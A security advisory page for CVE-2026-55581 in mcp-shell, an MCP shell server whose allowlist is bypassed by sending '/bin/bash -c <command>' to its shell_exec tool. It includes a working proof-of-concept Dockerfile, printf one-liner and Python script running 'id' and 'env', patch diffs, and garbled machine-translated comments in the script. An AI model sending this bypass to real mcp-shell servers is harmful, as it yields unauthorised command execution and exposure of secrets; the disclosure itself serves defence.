Vulnerability-Lookup

GHSA-3X77-WG38-92R3

Vulnerability from github – Published: 2026-08-25 15:41 – Updated: 2026-08-25 15:41

Summary

mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable

Details

Summary

mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowed_executables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shell_exec tool and execute commands that are not in the allowlist — including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.

Details

mcp-shell implements a secure mode in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:

# security.yaml (line 29)
allowed_executables:
  - "ls"
  - ...
  - "/bin/bash"  # Only allow if you trust the arguments

The comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:

// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
    if v.matchesExecutable(executable, allowed) {
        if err := v.checkBlockedPatternsAndCommands(command); err != nil {
            return err
        }
        return nil
    }
}

executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], `, $, \, ", ') and a configurable list of blocked_commands/blocked_patterns — both of which default to empty arrays in the shipped configuration. The flag -c does not match any blocked metacharacter, so the check passes.

The validated command then reaches the executor:

// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)

parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly — no shell is spawned by the executor itself — but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.

Data flow (source → sink):

Step	Location	Description
1	`Dockerfile:55`	`COPY security.yaml /etc/mcp-shell/security.yaml` — bundles vulnerable config into image
2	`Dockerfile:57`	`ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml` — activates config by default
3	`security.yaml:29`	`/bin/bash` registered in `allowed_executables`
4	`main.go:84-102`	MCP tool `shell_exec` registered with required `command` parameter
5	`handler.go:34`	`command := request.RequireString("command")` — attacker-controlled input received
6	`handler.go:49`	`h.validator.validateCommand(command)` — validation called
7	`security.go:67-96`	`executable = parts[0]` matches `/bin/bash`; `-c` not blocked; returns `nil`
8	`handler.go:59`	Validated command forwarded to executor
9	`executor.go:163`	`exec.CommandContext(ctx, "/bin/bash", "-c", "id")` — sink: arbitrary execution

PoC

Prerequisites:

Docker installed and accessible.
Repository source code checked out (build context is the repository root).
python3 available (for the automated PoC script).

Step 1 — Build the Docker image

docker build \
  -f vuln-001/Dockerfile \
  /path/to/mcp-shell-repo \
  -t mcp-shell-vuln-001:latest

Step 2 — Run the PoC script

python3 vuln-001/poc.py mcp-shell-vuln-001:latest

The script sends three MCP JSON-RPC requests over stdio:

initialize handshake
tools/call shell_exec with command="/bin/bash -c id" — exploit payload
tools/call shell_exec with command="id" — control: direct invocation must be blocked

Expected output (exploit success):

[id=2] /bin/bash -c id response:
  → status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'

[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution  successful!

[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
    → allowlist bypass  /bin/bash -c only through the path occurs proven

Alternatively, using raw printf (no Python required):

printf '%s\n' \
  '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
  '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
  '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latest

Observed MCP response:

{
  "command": "/bin/bash -c id",
  "execution_time": "3.854555ms",
  "exit_code": 0,
  "security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
  "status": "success",
  "stderr": "",
  "stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}

Remediation (patch guidance):

Remove shell interpreters from the default security.yaml allowlist:

--- a/security.yaml
+++ b/security.yaml
-    - "/bin/bash"  # Only allow if you trust the arguments

Add argument-level validation in security.go to block shell command-mode flags even when a shell interpreter is allowlisted:

--- a/security.go
+++ b/security.go
  executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+     return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }

  // Check if the executable is in the allowlist
  for _, allowed := range v.config.AllowedExecutables {
  ...
  }
+
+ func isShellCommandMode(executable string, args []string) bool {
+     base := filepath.Base(executable)
+     switch base {
+     case "sh", "bash", "dash", "ash", "zsh", "ksh":
+         for _, arg := range args {
+             if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+                 return true
+             }
+         }
+     }
+     return false
+ }

Impact

This is an OS Command Injection vulnerability (CWE-78). The shell_exec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. — all installed by the Dockerfile) under the identity of mcpuser (UID 1000).

Who is impacted:

Any operator deploying the official Docker image without modifying the default security.yaml is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.
MCP clients that interact with a vulnerable mcp-shell instance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible to mcpuser, or pivot further within the container's network.
The --network=none flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.

Concrete consequences of exploitation:

Confidentiality: Dump environment variables (/bin/bash -c env), read files, or exfiltrate credentials visible to mcpuser.
Integrity: Write or modify files within the container's writable filesystem.
Availability: Consume container resources or terminate processes.

Reproduction artifacts

`Dockerfile`

# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c
# build context: ../repo directory
# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest

# Build stage
FROM golang:1.25-alpine AS builder

RUN apk add --no-cache git

WORKDIR /app

COPY go.mod go.sum ./
RUN go mod download

COPY *.go ./

ARG VERSION=vuln-001-poc
RUN CGO_ENABLED=0 GOOS=linux go build \
    -ldflags "-X main.version=${VERSION} -s -w" \
    -a -installsuffix cgo \
    -o mcp-shell .

# Runtime stage
FROM alpine:3.22

RUN apk add --no-cache \
    bash \
    curl \
    wget \
    git \
    make \
    findutils \
    grep \
    sed \
    gawk \
    tar \
    gzip \
    unzip \
    ca-certificates \
    && rm -rf /var/cache/apk/*

RUN addgroup -g 1000 mcpuser && \
    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser

RUN mkdir -p /tmp/mcp-workspace && \
    chown mcpuser:mcpuser /tmp/mcp-workspace

RUN mkdir -p /etc/mcp-shell && \
    chown mcpuser:mcpuser /etc/mcp-shell

COPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell
RUN chmod +x /usr/local/bin/mcp-shell

# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone
COPY security.yaml /etc/mcp-shell/security.yaml

ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV PATH="/usr/local/bin:${PATH}"

USER mcpuser
WORKDIR /tmp/mcp-workspace

ENTRYPOINT ["mcp-shell"]

`poc.py`

#!/usr/bin/env python3
"""
VULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c

Vulnerability summary:
  security.yamltext allowed_executablestext /bin/bash text registerbecomes text,
  validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand
  -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext
  executor.go:163 from exec.CommandContext(ctx, "/bin/bash", "-c", "id") text executebecomes
  allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.

usage:
  python3 poc.py [IMAGE_NAME]
  default text: mcp-shell-vuln-001:latest
"""

import subprocess
import json
import sys

IMAGE = sys.argv[1] if len(sys.argv) > 1 else "mcp-shell-vuln-001:latest"


def make_msg(obj):
    return json.dumps(obj, separators=(',', ':'))


# MCP JSON-RPC message whentext
MESSAGES = [
    # 1. initialize handshake
    make_msg({
        "jsonrpc": "2.0", "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {"name": "vuln-001-poc", "version": "0.0.1"}
        }
    }),
    # 2. initialized text (response none)
    make_msg({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}),
    # 3. vulnerability text: /bin/bash -c id
    #    id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute
    make_msg({
        "jsonrpc": "2.0", "id": 2,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "/bin/bash -c id", "base64": False}
        }
    }),
    # 4. comparison: id directly execute → allowlisttext because it is missing blockbecomestext done
    make_msg({
        "jsonrpc": "2.0", "id": 3,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "id", "base64": False}
        }
    }),
    # 5. add evidence: env environment variable text (envtext allowlisttext none)
    make_msg({
        "jsonrpc": "2.0", "id": 4,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "/bin/bash -c env", "base64": False}
        }
    }),
]


def extract_text(resp):
    """MCP tools/call responsefrom text contents extract"""
    try:
        content = resp.get("result", {}).get("content", [])
        for item in content:
            if item.get("type") == "text":
                return item["text"]
    except Exception:
        pass
    return None


def run_poc():
    stdin_data = "\n".join(MESSAGES) + "\n"

    print(f"[*] text: {IMAGE}")
    print("[*] text: /bin/bash -c id")
    print("[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock")
    print()

    try:
        proc = subprocess.run(
            ["docker", "run", "--rm", "-i", "--network=none", IMAGE],
            input=stdin_data.encode(),
            capture_output=True,
            timeout=30,
        )
    except subprocess.TimeoutExpired:
        print("[-] error: container response timeout (30seconds)")
        return False, "timeout"
    except FileNotFoundError:
        print("[-] error: docker commandtext text can none")
        return False, "docker not found"
    except Exception as e:
        print(f"[-] error: {e}")
        return False, str(e)

    stdout = proc.stdout.decode(errors="replace")
    stderr = proc.stderr.decode(errors="replace")

    print("=== STDOUT (JSON-RPC response) ===")
    print(stdout)
    if stderr:
        print("=== STDERR (server log, partial) ===")
        print(stderr[:1500])
    print()

    # response parse
    responses = {}
    for line in stdout.splitlines():
        line = line.strip()
        if not line:
            continue
        try:
            resp = json.loads(line)
            msg_id = resp.get("id")
            if msg_id is not None:
                responses[msg_id] = resp
        except json.JSONDecodeError:
            pass

    exploit_passed = False
    exploit_evidence = ""

    # [id=2] /bin/bash -c id result check (key point evidence)
    if 2 in responses:
        text = extract_text(responses[2])
        if text:
            print(f"[id=2] /bin/bash -c id response text: {text[:400]}")
            try:
                result = json.loads(text)
                stdout_val = result.get("stdout", "")
                status = result.get("status", "")
                exit_code = result.get("exit_code", -1)
                print(f"  → status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}")
                if "uid=" in stdout_val and status == "success":
                    exploit_passed = True
                    exploit_evidence = (
                        f"command=/bin/bash -c id | status={status} | "
                        f"exit_code={exit_code} | stdout={stdout_val}"
                    )
                    print(f"\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!")
                    print(f"[+] Deterministic evidence: {exploit_evidence}")
            except json.JSONDecodeError:
                if "uid=" in text:
                    exploit_passed = True
                    exploit_evidence = text
                    print(f"[+] PASS: uid= confirmed (raw): {text[:200]}")
    else:
        print("[-] id=2 response none (secondstext failure or server error)")

    # [id=3] id directly execute → block check (text)
    if 3 in responses:
        text = extract_text(responses[3]) or ""
        resp_str = str(responses[3])
        blocked = (
            "not in allowed list" in text
            or "not in allowed list" in resp_str
            or "Security violation" in text
            or "isError" in resp_str and "true" in resp_str.lower()
        )
        if blocked:
            print(f"\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)")
            print(f"    → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone")
        else:
            print(f"[*] 'id' directly result: {text[:200]}")

    # [id=4] /bin/bash -c env add evidence
    if 4 in responses:
        text = extract_text(responses[4]) or ""
        try:
            result = json.loads(text)
            stdout_val = result.get("stdout", "")
            if "PATH=" in stdout_val or "HOME=" in stdout_val:
                env_lines = stdout_val.splitlines()[:5]
                print(f"\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)")
                print(f"    first 5lines: {chr(10).join('    ' + l for l in env_lines)}")
        except Exception:
            pass

    return exploit_passed, exploit_evidence


if __name__ == "__main__":
    passed, evidence = run_poc()
    print()
    if passed:
        print("[+] vulnerability reproduction result: PASS")
        sys.exit(0)
    else:
        print("[-] vulnerability reproduction result: FAIL")
        sys.exit(1)

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sonirico/mcp-shell"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-183",
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:41:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`mcp-shell` ships a default Docker configuration (`security.yaml`) that includes `/bin/bash` in the `allowed_executables` allowlist. The command validator (`security.go`) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as `-c`. As a result, any MCP tool caller can send `command=/bin/bash -c \u003carbitrary-command\u003e` to the `shell_exec` tool and execute commands that are not in the allowlist \u2014 including `id`, `env`, `curl`, `wget`, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as `mcpuser`.\n\n### Details\n\n`mcp-shell` implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in `security.yaml`. The Docker image ships this file with the following entry:\n\n```yaml\n# security.yaml (line 29)\nallowed_executables:\n  - \"ls\"\n  - ...\n  - \"/bin/bash\"  # Only allow if you trust the arguments\n```\n\nThe comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in `security.go` is responsible for enforcing secure mode:\n\n```go\n// security.go:84-96\nfor _, allowed := range v.config.AllowedExecutables {\n    if v.matchesExecutable(executable, allowed) {\n        if err := v.checkBlockedPatternsAndCommands(command); err != nil {\n            return err\n        }\n        return nil\n    }\n}\n```\n\n`executable` is derived solely from `parts[0]` after splitting the input on whitespace (`security.go:67`). When the command is `/bin/bash -c id`, `executable` evaluates to `/bin/bash`, which matches the allowlist entry. The `-c` flag and subsequent arguments are passed to `checkBlockedPatternsAndCommands`, which only checks for shell metacharacters (`|`, `\u0026`, `;`, `\u003c`, `\u003e`, `(`, `)`, `{`, `}`, `[`, `]`, `` ` ``, `$`, `\\`, `\"`, `\u0027`) and a configurable list of `blocked_commands`/`blocked_patterns` \u2014 both of which default to empty arrays in the shipped configuration. The flag `-c` does not match any blocked metacharacter, so the check passes.\n\nThe validated command then reaches the executor:\n\n```go\n// executor.go:149-163\nexecutable, args, err := e.parseCommand(command)\n// ...\ncmd = exec.CommandContext(ctx, executable, args...)\n```\n\n`parseCommand` splits the command string, yielding `executable=\"/bin/bash\"` and `args=[\"-c\", \"id\"]`. `exec.CommandContext` is invoked directly \u2014 no shell is spawned by the executor itself \u2014 but `/bin/bash -c id` is equivalent to a shell invocation, executing `id` outside the allowlist.\n\n**Data flow (source \u2192 sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `Dockerfile:55` | `COPY security.yaml /etc/mcp-shell/security.yaml` \u2014 bundles vulnerable config into image |\n| 2 | `Dockerfile:57` | `ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml` \u2014 activates config by default |\n| 3 | `security.yaml:29` | `/bin/bash` registered in `allowed_executables` |\n| 4 | `main.go:84-102` | MCP tool `shell_exec` registered with required `command` parameter |\n| 5 | `handler.go:34` | `command := request.RequireString(\"command\")` \u2014 attacker-controlled input received |\n| 6 | `handler.go:49` | `h.validator.validateCommand(command)` \u2014 validation called |\n| 7 | `security.go:67-96` | `executable = parts[0]` matches `/bin/bash`; `-c` not blocked; returns `nil` |\n| 8 | `handler.go:59` | Validated command forwarded to executor |\n| 9 | `executor.go:163` | `exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\")` \u2014 sink: arbitrary execution |\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository source code checked out (build context is the repository root).\n- `python3` available (for the automated PoC script).\n\n**Step 1 \u2014 Build the Docker image**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  /path/to/mcp-shell-repo \\\n  -t mcp-shell-vuln-001:latest\n```\n\n**Step 2 \u2014 Run the PoC script**\n\n```bash\npython3 vuln-001/poc.py mcp-shell-vuln-001:latest\n```\n\nThe script sends three MCP JSON-RPC requests over stdio:\n\n1. `initialize` handshake\n2. `tools/call shell_exec` with `command=\"/bin/bash -c id\"` \u2014 **exploit payload**\n3. `tools/call shell_exec` with `command=\"id\"` \u2014 **control**: direct invocation must be blocked\n\n**Expected output (exploit success):**\n\n```\n[id=2] /bin/bash -c id response:\n  \u2192 status=\u0027success\u0027, exit_code=0, stdout=\u0027uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\u0027\n\n[+] PASS: uid= confirmed \u2192 /bin/bash -c via arbitrary command execution  successful!\n\n[+] control confirmed: \u0027id\u0027 direct execution blocked (allowlist behavior normal)\n    \u2192 allowlist bypass  /bin/bash -c only through the path occurs proven\n```\n\n**Alternatively, using raw `printf` (no Python required):**\n\n```bash\nprintf \u0027%s\\n\u0027 \\\n  \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0.0.1\"}}}\u0027 \\\n  \u0027{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}\u0027 \\\n  \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"shell_exec\",\"arguments\":{\"command\":\"/bin/bash -c id\",\"base64\":false}}}\u0027 \\\n| docker run --rm -i mcp-shell-vuln-001:latest\n```\n\n**Observed MCP response:**\n\n```json\n{\n  \"command\": \"/bin/bash -c id\",\n  \"execution_time\": \"3.854555ms\",\n  \"exit_code\": 0,\n  \"security_info\": {\"security_enabled\": true, \"working_dir\": \"/tmp\", \"timeout_applied\": true},\n  \"status\": \"success\",\n  \"stderr\": \"\",\n  \"stdout\": \"uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\"\n}\n```\n\n**Remediation (patch guidance):**\n\n1. Remove shell interpreters from the default `security.yaml` allowlist:\n\n```diff\n--- a/security.yaml\n+++ b/security.yaml\n-    - \"/bin/bash\"  # Only allow if you trust the arguments\n```\n\n2. Add argument-level validation in `security.go` to block shell command-mode flags even when a shell interpreter is allowlisted:\n\n```diff\n--- a/security.go\n+++ b/security.go\n  executable := parts[0]\n+ args := parts[1:]\n+\n+ if isShellCommandMode(executable, args) {\n+     return fmt.Errorf(\"shell command mode is not allowed in secure mode: %s\", executable)\n+ }\n\n  // Check if the executable is in the allowlist\n  for _, allowed := range v.config.AllowedExecutables {\n  ...\n  }\n+\n+ func isShellCommandMode(executable string, args []string) bool {\n+     base := filepath.Base(executable)\n+     switch base {\n+     case \"sh\", \"bash\", \"dash\", \"ash\", \"zsh\", \"ksh\":\n+         for _, arg := range args {\n+             if arg == \"-c\" || (strings.HasPrefix(arg, \"-\") \u0026\u0026 strings.Contains(arg, \"c\")) {\n+                 return true\n+             }\n+         }\n+     }\n+     return false\n+ }\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). The `shell_exec` MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (`curl`, `wget`, `env`, `sed`, `grep`, `tar`, etc. \u2014 all installed by the Dockerfile) under the identity of `mcpuser` (UID 1000).\n\n**Who is impacted:**\n\n- **Any operator** deploying the official Docker image without modifying the default `security.yaml` is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.\n- **MCP clients** that interact with a vulnerable `mcp-shell` instance \u2014 including automated AI agents, LLM orchestration platforms, and CI/CD pipelines \u2014 may be leveraged to exfiltrate secrets, tamper with files accessible to `mcpuser`, or pivot further within the container\u0027s network.\n- The `--network=none` flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.\n\n**Concrete consequences of exploitation:**\n\n- **Confidentiality:** Dump environment variables (`/bin/bash -c env`), read files, or exfiltrate credentials visible to `mcpuser`.\n- **Integrity:** Write or modify files within the container\u0027s writable filesystem.\n- **Availability:** Consume container resources or terminate processes.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c\n# build context: ../repo directory\n# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest\n\n# Build stage\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git\n\nWORKDIR /app\n\nCOPY go.mod go.sum ./\nRUN go mod download\n\nCOPY *.go ./\n\nARG VERSION=vuln-001-poc\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n    -ldflags \"-X main.version=${VERSION} -s -w\" \\\n    -a -installsuffix cgo \\\n    -o mcp-shell .\n\n# Runtime stage\nFROM alpine:3.22\n\nRUN apk add --no-cache \\\n    bash \\\n    curl \\\n    wget \\\n    git \\\n    make \\\n    findutils \\\n    grep \\\n    sed \\\n    gawk \\\n    tar \\\n    gzip \\\n    unzip \\\n    ca-certificates \\\n    \u0026\u0026 rm -rf /var/cache/apk/*\n\nRUN addgroup -g 1000 mcpuser \u0026\u0026 \\\n    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\nRUN mkdir -p /tmp/mcp-workspace \u0026\u0026 \\\n    chown mcpuser:mcpuser /tmp/mcp-workspace\n\nRUN mkdir -p /etc/mcp-shell \u0026\u0026 \\\n    chown mcpuser:mcpuser /etc/mcp-shell\n\nCOPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell\nRUN chmod +x /usr/local/bin/mcp-shell\n\n# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone\nCOPY security.yaml /etc/mcp-shell/security.yaml\n\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /tmp/mcp-workspace\n\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c\n\nVulnerability summary:\n  security.yamltext allowed_executablestext /bin/bash text registerbecomes text,\n  validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand\n  -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext\n  executor.go:163 from exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\") text executebecomes\n  allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.\n\nusage:\n  python3 poc.py [IMAGE_NAME]\n  default text: mcp-shell-vuln-001:latest\n\"\"\"\n\nimport subprocess\nimport json\nimport sys\n\nIMAGE = sys.argv[1] if len(sys.argv) \u003e 1 else \"mcp-shell-vuln-001:latest\"\n\n\ndef make_msg(obj):\n    return json.dumps(obj, separators=(\u0027,\u0027, \u0027:\u0027))\n\n\n# MCP JSON-RPC message whentext\nMESSAGES = [\n    # 1. initialize handshake\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 1,\n        \"method\": \"initialize\",\n        \"params\": {\n            \"protocolVersion\": \"2024-11-05\",\n            \"capabilities\": {},\n            \"clientInfo\": {\"name\": \"vuln-001-poc\", \"version\": \"0.0.1\"}\n        }\n    }),\n    # 2. initialized text (response none)\n    make_msg({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}}),\n    # 3. vulnerability text: /bin/bash -c id\n    #    id text allowlisttext textonly /bin/bash text because it exists verification passed \u2192 id execute\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"/bin/bash -c id\", \"base64\": False}\n        }\n    }),\n    # 4. comparison: id directly execute \u2192 allowlisttext because it is missing blockbecomestext done\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 3,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"id\", \"base64\": False}\n        }\n    }),\n    # 5. add evidence: env environment variable text (envtext allowlisttext none)\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 4,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"/bin/bash -c env\", \"base64\": False}\n        }\n    }),\n]\n\n\ndef extract_text(resp):\n    \"\"\"MCP tools/call responsefrom text contents extract\"\"\"\n    try:\n        content = resp.get(\"result\", {}).get(\"content\", [])\n        for item in content:\n            if item.get(\"type\") == \"text\":\n                return item[\"text\"]\n    except Exception:\n        pass\n    return None\n\n\ndef run_poc():\n    stdin_data = \"\\n\".join(MESSAGES) + \"\\n\"\n\n    print(f\"[*] text: {IMAGE}\")\n    print(\"[*] text: /bin/bash -c id\")\n    print(\"[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock\")\n    print()\n\n    try:\n        proc = subprocess.run(\n            [\"docker\", \"run\", \"--rm\", \"-i\", \"--network=none\", IMAGE],\n            input=stdin_data.encode(),\n            capture_output=True,\n            timeout=30,\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[-] error: container response timeout (30seconds)\")\n        return False, \"timeout\"\n    except FileNotFoundError:\n        print(\"[-] error: docker commandtext text can none\")\n        return False, \"docker not found\"\n    except Exception as e:\n        print(f\"[-] error: {e}\")\n        return False, str(e)\n\n    stdout = proc.stdout.decode(errors=\"replace\")\n    stderr = proc.stderr.decode(errors=\"replace\")\n\n    print(\"=== STDOUT (JSON-RPC response) ===\")\n    print(stdout)\n    if stderr:\n        print(\"=== STDERR (server log, partial) ===\")\n        print(stderr[:1500])\n    print()\n\n    # response parse\n    responses = {}\n    for line in stdout.splitlines():\n        line = line.strip()\n        if not line:\n            continue\n        try:\n            resp = json.loads(line)\n            msg_id = resp.get(\"id\")\n            if msg_id is not None:\n                responses[msg_id] = resp\n        except json.JSONDecodeError:\n            pass\n\n    exploit_passed = False\n    exploit_evidence = \"\"\n\n    # [id=2] /bin/bash -c id result check (key point evidence)\n    if 2 in responses:\n        text = extract_text(responses[2])\n        if text:\n            print(f\"[id=2] /bin/bash -c id response text: {text[:400]}\")\n            try:\n                result = json.loads(text)\n                stdout_val = result.get(\"stdout\", \"\")\n                status = result.get(\"status\", \"\")\n                exit_code = result.get(\"exit_code\", -1)\n                print(f\"  \u2192 status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}\")\n                if \"uid=\" in stdout_val and status == \"success\":\n                    exploit_passed = True\n                    exploit_evidence = (\n                        f\"command=/bin/bash -c id | status={status} | \"\n                        f\"exit_code={exit_code} | stdout={stdout_val}\"\n                    )\n                    print(f\"\\n[+] PASS: uid= check \u2192 /bin/bash -c text arbitrary command execute success!\")\n                    print(f\"[+] Deterministic evidence: {exploit_evidence}\")\n            except json.JSONDecodeError:\n                if \"uid=\" in text:\n                    exploit_passed = True\n                    exploit_evidence = text\n                    print(f\"[+] PASS: uid= confirmed (raw): {text[:200]}\")\n    else:\n        print(\"[-] id=2 response none (secondstext failure or server error)\")\n\n    # [id=3] id directly execute \u2192 block check (text)\n    if 3 in responses:\n        text = extract_text(responses[3]) or \"\"\n        resp_str = str(responses[3])\n        blocked = (\n            \"not in allowed list\" in text\n            or \"not in allowed list\" in resp_str\n            or \"Security violation\" in text\n            or \"isError\" in resp_str and \"true\" in resp_str.lower()\n        )\n        if blocked:\n            print(f\"\\n[+] text check: \u0027id\u0027 directly executetext blocked (allowlist behavior normal)\")\n            print(f\"    \u2192 allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone\")\n        else:\n            print(f\"[*] \u0027id\u0027 directly result: {text[:200]}\")\n\n    # [id=4] /bin/bash -c env add evidence\n    if 4 in responses:\n        text = extract_text(responses[4]) or \"\"\n        try:\n            result = json.loads(text)\n            stdout_val = result.get(\"stdout\", \"\")\n            if \"PATH=\" in stdout_val or \"HOME=\" in stdout_val:\n                env_lines = stdout_val.splitlines()[:5]\n                print(f\"\\n[+] add evidence: /bin/bash -c env success 